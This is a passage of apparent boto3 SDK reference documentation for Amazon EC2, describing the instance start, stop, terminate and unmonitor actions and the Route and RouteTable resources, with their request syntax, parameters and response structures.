Amazon EBS volumes as their root devices can be quickly stopped and started. When an instance is stopped, the compute resources are released and you are not billed for instance usage. However, your root partition Amazon EBS volume remains and continues to persist your data, and you are charged for Amazon EBS volume usage. You can restart your instance at any time. Every time you start your Windows instance, Amazon EC2 charges you for a full instance hour. If you stop and restart your Windows instance, a new instance hour begins and Amazon EC2 charges you for another full instance hour even if you are still within the same 60-minute period when it was stopped. Every time you start your Linux instance, Amazon EC2 charges a one-minute minimum for instance usage, and thereafter charges per second for instance usage. + +Before stopping an instance, make sure it is in a state from which it can be restarted. Stopping an instance does not preserve data stored in RAM. + +Performing this operation on an instance that uses an instance store as its root device returns an error. + +For more information, see [Stopping instances](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Stop_Start.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/StartInstances) + +**Request Syntax** + +response = placement_group.instances.start( + AdditionalInfo='string', + DryRun=True|False +) + +Parameters + +- **AdditionalInfo** (_string_) -- Reserved. +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'StartingInstances': [ + { + 'CurrentState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + }, + 'InstanceId': 'string', + 'PreviousState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + } + }, + ] +} + +**Response Structure** + +- _(dict) --_ + + - **StartingInstances** _(list) --_ + + Information about the started instances. + + - _(dict) --_ + + Describes an instance state change. + + - **CurrentState** _(dict) --_ + + The current state of the instance. + + - **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + - 0 : pending + - 16 : running + - 32 : shutting-down + - 48 : terminated + - 64 : stopping + - 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + - **Name** _(string) --_ + + The current state of the instance. + + - **InstanceId** _(string) --_ + + The ID of the instance. + + - **PreviousState** _(dict) --_ + + The previous state of the instance. + + - **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + - 0 : pending + - 16 : running + - 32 : shutting-down + - 48 : terminated + - 64 : stopping + - 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + - **Name** _(string) --_ + + The current state of the instance. + + +stop(kwargs_) + +Stops an Amazon EBS-backed instance. + +You can use the Stop action to hibernate an instance if the instance is [enabled for hibernation](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Hibernate.html#enabling-hibernation) and it meets the [hibernation prerequisites](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Hibernate.html#hibernating-prerequisites) . For more information, see [Hibernate your instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Hibernate.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +We don't charge usage for a stopped instance, or data transfer fees; however, your root partition Amazon EBS volume remains and continues to persist your data, and you are charged for Amazon EBS volume usage. Every time you start your Windows instance, Amazon EC2 charges you for a full instance hour. If you stop and restart your Windows instance, a new instance hour begins and Amazon EC2 charges you for another full instance hour even if you are still within the same 60-minute period when it was stopped. Every time you start your Linux instance, Amazon EC2 charges a one-minute minimum for instance usage, and thereafter charges per second for instance usage. + +You can't stop or hibernate instance store-backed instances. You can't use the Stop action to hibernate Spot Instances, but you can specify that Amazon EC2 should hibernate Spot Instances when they are interrupted. For more information, see [Hibernating interrupted Spot Instances](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/spot-interruptions.html#hibernate-spot-instances) in the _Amazon Elastic Compute Cloud User Guide_ . + +When you stop or hibernate an instance, we shut it down. You can restart your instance at any time. Before stopping or hibernating an instance, make sure it is in a state from which it can be restarted. Stopping an instance does not preserve data stored in RAM, but hibernating an instance does preserve data stored in RAM. If an instance cannot hibernate successfully, a normal shutdown occurs. + +Stopping and hibernating an instance is different to rebooting or terminating it. For example, when you stop or hibernate an instance, the root device and any other devices attached to the instance persist. When you terminate an instance, the root device and any other devices attached during the instance launch are automatically deleted. For more information about the differences between rebooting, stopping, hibernating, and terminating instances, see [Instance lifecycle](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-lifecycle.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +When you stop an instance, we attempt to shut it down forcibly after a short while. If your instance appears stuck in the stopping state after a period of time, there may be an issue with the underlying host computer. For more information, see [Troubleshooting stopping your instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/TroubleshootingInstancesStopping.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/StopInstances) + +**Request Syntax** + +response = placement_group.instances.stop( + Hibernate=True|False, + DryRun=True|False, + Force=True|False +) + +Parameters + +- **Hibernate** (_boolean_) -- + + Hibernates the instance if the instance was enabled for hibernation at launch. If the instance cannot hibernate successfully, a normal shutdown occurs. For more information, see [Hibernate your instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Hibernate.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + Default: false + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **Force** (_boolean_) -- + + Forces the instances to stop. The instances do not have an opportunity to flush file system caches or file system metadata. If you use this option, you must perform file system check and repair procedures. This option is not recommended for Windows instances. + + Default: false + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'StoppingInstances': [ + { + 'CurrentState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + }, + 'InstanceId': 'string', + 'PreviousState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + } + }, + ] +} + +**Response Structure** + +- _(dict) --_ + + - **StoppingInstances** _(list) --_ + + Information about the stopped instances. + + - _(dict) --_ + + Describes an instance state change. + + - **CurrentState** _(dict) --_ + + The current state of the instance. + + - **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + - 0 : pending + - 16 : running + - 32 : shutting-down + - 48 : terminated + - 64 : stopping + - 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + - **Name** _(string) --_ + + The current state of the instance. + + - **InstanceId** _(string) --_ + + The ID of the instance. + + - **PreviousState** _(dict) --_ + + The previous state of the instance. + + - **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + - 0 : pending + - 16 : running + - 32 : shutting-down + - 48 : terminated + - 64 : stopping + - 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + - **Name** _(string) --_ + + The current state of the instance. + + +terminate(kwargs_) + +Shuts down the specified instances. This operation is idempotent; if you terminate an instance more than once, each call succeeds. + +If you specify multiple instances and the request fails (for example, because of a single incorrect instance ID), none of the instances are terminated. + +Terminated instances remain visible after termination (for approximately one hour). + +By default, Amazon EC2 deletes all EBS volumes that were attached when the instance launched. Volumes attached after instance launch continue running. + +You can stop, start, and terminate EBS-backed instances. You can only terminate instance store-backed instances. What happens to an instance differs if you stop it or terminate it. For example, when you stop an instance, the root device and any other devices attached to the instance persist. When you terminate an instance, any attached EBS volumes with the DeleteOnTermination block device mapping parameter set to true are automatically deleted. For more information about the differences between stopping and terminating instances, see [Instance lifecycle](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-lifecycle.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +For more information about troubleshooting, see [Troubleshooting terminating your instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/TroubleshootingInstancesShuttingDown.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/TerminateInstances) + +**Request Syntax** + +response = placement_group.instances.terminate( + DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'TerminatingInstances': [ + { + 'CurrentState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + }, + 'InstanceId': 'string', + 'PreviousState': { + 'Code': 123, + 'Name': 'pending'|'running'|'shutting-down'|'terminated'|'stopping'|'stopped' + } + }, + ] +} + +**Response Structure** + +- _(dict) --_ + - **TerminatingInstances** _(list) --_ + + Information about the terminated instances. + + - _(dict) --_ + + Describes an instance state change. + + - **CurrentState** _(dict) --_ + + The current state of the instance. + + - **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + - 0 : pending + - 16 : running + - 32 : shutting-down + - 48 : terminated + - 64 : stopping + - 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + - **Name** _(string) --_ + + The current state of the instance. + + - **InstanceId** _(string) --_ + + The ID of the instance. + + - **PreviousState** _(dict) --_ + + The previous state of the instance. + + - **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + - 0 : pending + - 16 : running + - 32 : shutting-down + - 48 : terminated + - 64 : stopping + - 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + - **Name** _(string) --_ + + The current state of the instance. + + +unmonitor(kwargs_) + +Disables detailed monitoring for a running instance. For more information, see [Monitoring your instances and volumes](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-cloudwatch.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/UnmonitorInstances) + +**Request Syntax** + +response = placement_group.instances.unmonitor( + DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'InstanceMonitorings': [ + { + 'InstanceId': 'string', + 'Monitoring': { + 'State': 'disabled'|'disabling'|'enabled'|'pending' + } + }, + ] +} + +**Response Structure** + +- _(dict) --_ + - **InstanceMonitorings** _(list) --_ + + The monitoring information. + + - _(dict) --_ + + Describes the monitoring of an instance. + + - **InstanceId** _(string) --_ + + The ID of the instance. + + - **Monitoring** _(dict) --_ + + The monitoring for the instance. + + - **State** _(string) --_ + + Indicates whether detailed monitoring is enabled. Otherwise, basic monitoring is enabled. + + +[Route](#id1248) +-------------------------------------------------------- + +_class_ EC2.Route(_route_table_id_, _destination_cidr_block_) + +A resource representing an Amazon Elastic Compute Cloud (EC2) Route: + +import boto3 + +ec2 = boto3.resource('ec2') +route = ec2.Route('route_table_id','destination_cidr_block') + +Parameters + +- **route_table_id** (_string_) -- The Route's route_table_id identifier. This **must** be set. +- **destination_cidr_block** (_string_) -- The Route's destination_cidr_block identifier. This **must** be set. + +These are the resource's available identifiers: + +- [route_table_id](#EC2.Route.route_table_id "EC2.Route.route_table_id") +- [destination_cidr_block](#EC2.Route.destination_cidr_block "EC2.Route.destination_cidr_block") + +These are the resource's available attributes: + +- [carrier_gateway_id](#EC2.Route.carrier_gateway_id "EC2.Route.carrier_gateway_id") +- [destination_ipv6_cidr_block](#EC2.Route.destination_ipv6_cidr_block "EC2.Route.destination_ipv6_cidr_block") +- [destination_prefix_list_id](#EC2.Route.destination_prefix_list_id "EC2.Route.destination_prefix_list_id") +- [egress_only_internet_gateway_id](#EC2.Route.egress_only_internet_gateway_id "EC2.Route.egress_only_internet_gateway_id") +- [gateway_id](#EC2.Route.gateway_id "EC2.Route.gateway_id") +- [instance_id](#EC2.Route.instance_id "EC2.Route.instance_id") +- [instance_owner_id](#EC2.Route.instance_owner_id "EC2.Route.instance_owner_id") +- [local_gateway_id](#EC2.Route.local_gateway_id "EC2.Route.local_gateway_id") +- [nat_gateway_id](#EC2.Route.nat_gateway_id "EC2.Route.nat_gateway_id") +- [network_interface_id](#EC2.Route.network_interface_id "EC2.Route.network_interface_id") +- [origin](#EC2.Route.origin "EC2.Route.origin") +- [state](#EC2.Route.state "EC2.Route.state") +- [transit_gateway_id](#EC2.Route.transit_gateway_id "EC2.Route.transit_gateway_id") +- [vpc_peering_connection_id](#EC2.Route.vpc_peering_connection_id "EC2.Route.vpc_peering_connection_id") + +These are the resource's available actions: + +- [delete()](#EC2.Route.delete "EC2.Route.delete") +- [get_available_subresources()](#EC2.Route.get_available_subresources "EC2.Route.get_available_subresources") +- [replace()](#EC2.Route.replace "EC2.Route.replace") + +These are the resource's available sub-resources: + +- [RouteTable()](#EC2.Route.RouteTable "EC2.Route.RouteTable") + +Identifiers + +Identifiers are properties of a resource that are set upon instantiation of the resource. For more information about identifiers refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +route_table_id + +_(string)_ The Route's route_table_id identifier. This **must** be set. + +destination_cidr_block + +_(string)_ The Route's destination_cidr_block identifier. This **must** be set. + +Attributes + +Attributes provide access to the properties of a resource. Attributes are lazy-loaded the first time one is accessed via the load() method. For more information about attributes refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +carrier_gateway_id + +- _(string) --_ + + The ID of the carrier gateway. + + +destination_ipv6_cidr_block + +- _(string) --_ + + The IPv6 CIDR block used for the destination match. + + +destination_prefix_list_id + +- _(string) --_ + + The prefix of the AWS service. + + +egress_only_internet_gateway_id + +- _(string) --_ + + The ID of the egress-only internet gateway. + + +gateway_id + +- _(string) --_ + + The ID of a gateway attached to your VPC. + + +instance_id + +- _(string) --_ + + The ID of a NAT instance in your VPC. + + +instance_owner_id + +- _(string) --_ + + The AWS account ID of the owner of the instance. + + +local_gateway_id + +- _(string) --_ + + The ID of the local gateway. + + +nat_gateway_id + +- _(string) --_ + + The ID of a NAT gateway. + + +network_interface_id + +- _(string) --_ + + The ID of the network interface. + + +origin + +- _(string) --_ + + Describes how the route was created. + + - CreateRouteTable - The route was automatically created when the route table was created. + - CreateRoute - The route was manually added to the route table. + - EnableVgwRoutePropagation - The route was propagated by route propagation. + +state + +- _(string) --_ + + The state of the route. The blackhole state indicates that the route's target isn't available (for example, the specified gateway isn't attached to the VPC, or the specified NAT instance has been terminated). + + +transit_gateway_id + +- _(string) --_ + + The ID of a transit gateway. + + +vpc_peering_connection_id + +- _(string) --_ + + The ID of a VPC peering connection. + + +Actions + +Actions call operations on resources. They may automatically handle the passing in of arguments set from identifiers and some attributes. For more information about actions refer to the [_Resources Introduction Guide_](../../guide/resources.html#actions-intro). + +delete(kwargs_) + +Deletes the specified route from the specified route table. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteRoute) + +**Request Syntax** + +response = route.delete( + DestinationIpv6CidrBlock='string', + DestinationPrefixListId='string', + DryRun=True|False, + +) + +Parameters + +- **DestinationIpv6CidrBlock** (_string_) -- The IPv6 CIDR range for the route. The value you specify must match the CIDR for the route exactly. +- **DestinationPrefixListId** (_string_) -- The ID of the prefix list for the route. +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +get_available_subresources() + +Returns a list of all the available sub-resources for this Resource. + +Returns + +A list containing the name of each sub-resource for this resource + +Return type + +list of str + +replace(kwargs_) + +Replaces an existing route within a route table in a VPC. You must provide only one of the following: internet gateway, virtual private gateway, NAT instance, NAT gateway, VPC peering connection, network interface, egress-only internet gateway, or transit gateway. + +For more information, see [Route Tables](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_Route_Tables.html) in the _Amazon Virtual Private Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ReplaceRoute) + +**Request Syntax** + +response = route.replace( + DestinationIpv6CidrBlock='string', + DestinationPrefixListId='string', + DryRun=True|False, + VpcEndpointId='string', + EgressOnlyInternetGatewayId='string', + GatewayId='string', + InstanceId='string', + LocalTarget=True|False, + NatGatewayId='string', + TransitGatewayId='string', + LocalGatewayId='string', + CarrierGatewayId='string', + NetworkInterfaceId='string', + VpcPeeringConnectionId='string' +) + +Parameters + +- **DestinationIpv6CidrBlock** (_string_) -- The IPv6 CIDR address block used for the destination match. The value that you provide must match the CIDR of an existing route in the table. +- **DestinationPrefixListId** (_string_) -- The ID of the prefix list for the route. +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **VpcEndpointId** (_string_) -- The ID of a VPC endpoint. Supported for Gateway Load Balancer endpoints only. +- **EgressOnlyInternetGatewayId** (_string_) -- [IPv6 traffic only] The ID of an egress-only internet gateway. +- **GatewayId** (_string_) -- The ID of an internet gateway or virtual private gateway. +- **InstanceId** (_string_) -- The ID of a NAT instance in your VPC. +- **LocalTarget** (_boolean_) -- Specifies whether to reset the local route to its default target (local ). +- **NatGatewayId** (_string_) -- [IPv4 traffic only] The ID of a NAT gateway. +- **TransitGatewayId** (_string_) -- The ID of a transit gateway. +- **LocalGatewayId** (_string_) -- The ID of the local gateway. +- **CarrierGatewayId** (_string_) -- [IPv4 traffic only] The ID of a carrier gateway. +- **NetworkInterfaceId** (_string_) -- The ID of a network interface. +- **VpcPeeringConnectionId** (_string_) -- The ID of a VPC peering connection. + +Returns + +None + +Sub-resources + +Sub-resources are methods that create a new instance of a child resource. This resource's identifiers get passed along to the child. For more information about sub-resources refer to the [_Resources Introduction Guide_](../../guide/resources.html#subresources-intro). + +RouteTable() + +Creates a RouteTable resource.: + +route_table = route.RouteTable() + +Return type + +[EC2.RouteTable](#EC2.RouteTable "EC2.RouteTable") + +Returns + +A RouteTable resource + +[RouteTable](#id1249) +------------------------------------------------------------------ + +_class_ EC2.RouteTable(_id_) + +A resource representing an Amazon Elastic Compute Cloud (EC2) RouteTable: + +import boto3 + +ec2 = boto3.resource('ec2') +route_table = ec2.RouteTable('id') + +Parameters + +**id** (_string_) -- The RouteTable's id identifier. This **must** be set. + +These are the resource's available identifiers: + +- [id](#EC2.RouteTable.id "EC2.RouteTable.id") + +These are the resource's available attributes: + +- [associations_attribute](#EC2.RouteTable.associations_attribute "EC2.RouteTable.associations_attribute") +- [owner_id](#EC2.RouteTable.owner_id "EC2.RouteTable.owner_id") +- [propagating_vgws](#EC2.RouteTable.propagating_vgws "EC2.RouteTable.propagating_vgws") +- [route_table_id](#EC2.RouteTable.route_table_id "EC2.RouteTable.route_table_id") +- [routes_attribute](#EC2.RouteTable.routes_attribute "EC2.RouteTable.routes_attribute") +- [tags](#EC2.RouteTable.tags "EC2.RouteTable.tags") +- [vpc_id](#EC2.RouteTable.vpc_id "EC2.RouteTable.vpc_id") + +These are the resource's available references: + +- [associations](#EC2.RouteTable.associations "EC2.RouteTable.associations") +- [routes](#EC2.RouteTable.routes "EC2.RouteTable.routes") +- [vpc](#EC2.RouteTable.vpc "EC2.RouteTable.vpc") + +These are the resource's available actions: + +- [associate_with_subnet()](#EC2.RouteTable.associate_with_subnet "EC2.RouteTable.associate_with_subnet") +- [create_route()](#EC2.RouteTable.create_route "EC2.RouteTable.create_route") +- [create_tags()](#EC2.RouteTable.create_tags "EC2.RouteTable.create_tags") +- [delete()](#EC2.RouteTable.delete "EC2.RouteTable.delete") +- [get_available_subresources()](#EC2.RouteTable.get_available_subresources "EC2.RouteTable.get_available_subresources") +- [load()](#EC2.RouteTable.load "EC2.RouteTable.load") +- [reload()](#EC2.RouteTable.reload "EC2.RouteTable.reload") + +Identifiers + +Identifiers are properties of a resource that are set upon instantiation of the resource. For more information about identifiers refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +id + +_(string)_ The RouteTable's id identifier. This **must** be set. + +Attributes + +Attributes provide access to the properties of a resource. Attributes are lazy-loaded the first time one is accessed via the [load()](#EC2.RouteTable.load "EC2.RouteTable.load") method. For more information about attributes refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +associations_attribute + +- _(list) --_ + + The associations between the route table and one or more subnets or a gateway. + + - _(dict) --_ + + Describes an association between a route table and a subnet or gateway. + + - **Main** _(boolean) --_ + + Indicates whether this is the main route table. + + - **RouteTableAssociationId** _(string) --_ + + The ID of the association. + + - **RouteTableId** _(string) --_ + + The ID of the route table. + + - **SubnetId** _(string) --_ + + The ID of the subnet. A subnet ID is not returned for an implicit association. + + - **GatewayId** _(string) --_ + + The ID of the internet gateway or virtual private gateway. + + - **AssociationState** _(dict) --_ + + The state of the association. + + - **State** _(string) --_ + + The state of the association. + + - **StatusMessage** _(string) --_ + + The status message, if applicable. + + +owner_id + +- _(string) --_ + + The ID of the AWS account that owns the route table. + + +propagating_vgws + +- _(list) --_ + + Any virtual private gateway (VGW) propagating routes. + + - _(dict) --_ + + Describes a virtual private gateway propagating route. + + - **GatewayId** _(string) --_ + + The ID of the virtual private gateway. + + +route_table_id + +- _(string) --_ + + The ID of the route table. + + +routes_attribute + +- _(list) --_ + + The routes in the route table. + + - _(dict) --_ + + Describes a route in a route table. + + - **DestinationCidrBlock** _(string) --_ + + The IPv4 CIDR block used for the destination match. + + - **DestinationIpv6CidrBlock** _(string) --_ + + The IPv6 CIDR block used for the destination match. + + - **DestinationPrefixListId** _(string) --_ + + The prefix of the AWS service. + + - **EgressOnlyInternetGatewayId** _(string) --_ + + The ID of the egress-only internet gateway. + + - **GatewayId** _(string) --_ + + The ID of a gateway attached to your VPC. + + - **InstanceId** _(string) --_ + + The ID of a NAT instance in your VPC. + + - **InstanceOwnerId** _(string) --_ + + The AWS account ID of the owner of the instance. + + - **NatGatewayId** _(string) --_ + + The ID of a NAT gateway. + + - **TransitGatewayId** _(string) --_ + + The ID of a transit gateway. + + - **LocalGatewayId** _(string) --_ + + The ID of the local gateway. + + - **CarrierGatewayId** _(string) --_ + + The ID of the carrier gateway. + + - **NetworkInterfaceId** _(string) --_ + + The ID of the network interface. + + - **Origin** _(string) --_ + + Describes how the route was created. + + - CreateRouteTable - The route was automatically created when the route table was created. + - CreateRoute - The route was manually added to the route table. + - EnableVgwRoutePropagation - The route was propagated by route propagation. + - **State** _(string) --_ + + The state of the route. The blackhole state indicates that the route's target isn't available (for example, the specified gateway isn't attached to the VPC, or the specified NAT instance has been terminated). + + - **VpcPeeringConnectionId** _(string) --_ + + The ID of a VPC peering connection. + + +tags + +- _(list) --_ + + Any tags assigned to the route table. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +vpc_id + +- _(string) --_ + + The ID of the VPC. + + +References + +References are related resource instances that have a belongs-to relationship. For more information about references refer to the [_Resources Introduction Guide_](../../guide/resources.html#references-intro). + +associations + +(RouteTableAssociation) The related associations if set, otherwise None. + +routes + +(Route) The related routes if set, otherwise None. + +vpc + +(Vpc) The related vpc if set, otherwise None. + +Actions + +Actions call operations on resources. They may automatically handle the passing in of arguments set from identifiers and some attributes. For more information about actions refer to the [_Resources Introduction Guide_](../../guide/resources.html#actions-intro). + +associate_with_subnet(kwargs_) + +Associates a subnet in your VPC or an internet gateway or virtual private gateway attached to your VPC with a route table in your VPC. This association causes traffic from the subnet or gateway to be routed according to the routes in the route table. The action returns an association ID, which you need in order to disassociate the route table later. A route table can be associated with multiple subnets. + +For more information, see [Route Tables](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_Route_Tables.html) in the _Amazon Virtual Private Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/AssociateRouteTable) + +**Request Syntax** + +route_table_association = route_table.associate_with_subnet( + DryRun=True|False, + SubnetId='string', + GatewayId='string' +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **SubnetId** (_string_) -- The ID of the subnet. +- **GatewayId** (_string_) -- The ID of the internet gateway or virtual private gateway. + +Return type + +ec2.RouteTableAssociation + +Returns + +RouteTableAssociation resource + +create_route(kwargs_) + +Creates a route in a route table within a VPC. + +You must specify one of the following targets: internet gateway or virtual private gateway, NAT instance, NAT gateway, VPC peering connection, network interface, egress-only internet gateway, or transit gateway. + +When determining how to route traffic, we use the route with the most specific match. For example, traffic is destined for the IPv4 address 192.0.2.3 , and the route table includes the following two IPv4 routes: + +- 192.0.2.0/24 (goes to some target A) +- 192.0.2.0/28 (goes to some target B) + +Both routes apply to the traffic destined for 192.0.2.3 . However, the second route in the list covers a smaller number of IP addresses and is therefore more specific, so we use that route to determine where to target the traffic. + +For more information about route tables, see [Route Tables](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_Route_Tables.html) in the _Amazon Virtual Private Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateRoute) + +**Request Syntax** + +route = route_table.create_route( + DestinationCidrBlock='string', + DestinationIpv6CidrBlock='string', + DestinationPrefixListId='string', + DryRun=True|False, + VpcEndpointId='string', + EgressOnlyInternetGatewayId='string', + GatewayId='string', + InstanceId='string', + NatGatewayId='string', + TransitGatewayId='string', + LocalGatewayId='string', + CarrierGatewayId='string', + NetworkInterfaceId='string', + VpcPeeringConnectionId='string' +) + +Parameters + +- **DestinationCidrBlock** (_string_) -- The IPv4 CIDR address block used for the destination match. Routing decisions are based on the most specific match. We modify the specified CIDR block to its canonical form; for example, if you specify 100.68.0.18/18 , we modify it to 100.68.0.0/18 . +- **DestinationIpv6CidrBlock** (_string_) -- The IPv6 CIDR block used for the destination match. Routing decisions are based on the most specific match. +- **DestinationPrefixListId** (_string_) -- The ID of a prefix list used for the destination match. +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **VpcEndpointId** (_string_) -- The ID of a VPC endpoint. Supported for Gateway Load Balancer endpoints only. +- **EgressOnlyInternetGatewayId** (_string_) -- [IPv6 traffic only] The ID of an egress-only internet gateway. +- **GatewayId** (_string_) -- The ID of an internet gateway or virtual private gateway attached to your VPC. +- **InstanceId** (_string_) -- The ID of a NAT instance in your VPC. The operation fails if you specify an instance ID unless exactly one network interface is attached. +- **NatGatewayId** (_string_) -- [IPv4 traffic only] The ID of a NAT gateway. +- **TransitGatewayId** (_string_) -- The ID of a transit gateway. +- **LocalGatewayId** (_string_) -- The ID of the local gateway. +- **CarrierGatewayId** (_string_) -- + + The ID of the carrier gateway. + + You can only use this option when the VPC contains a subnet which is associated with a Wavelength Zone. + +- **NetworkInterfaceId** (_string_) -- The ID of a network interface. +- **VpcPeeringConnectionId** (_string_) -- The ID of a VPC peering connection. + +Return type + +ec2.Route + +Returns + +Route resource + +create_tags(kwargs_) + +Adds or overwrites only the specified tags for the specified Amazon EC2 resource or resources. When you specify an existing tag key, the value is overwritten with the new value. Each resource can have a maximum of 50 tags. Each tag consists of a key and optional value. Tag keys must be unique per resource. + +For more information about tags, see [Tagging Your Resources](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html) in the _Amazon Elastic Compute Cloud User Guide_ . For more information about creating IAM policies that control users' access to resources based on tags, see [Supported Resource-Level Permissions for Amazon EC2 API Actions](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-supported-iam-actions-resources.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API 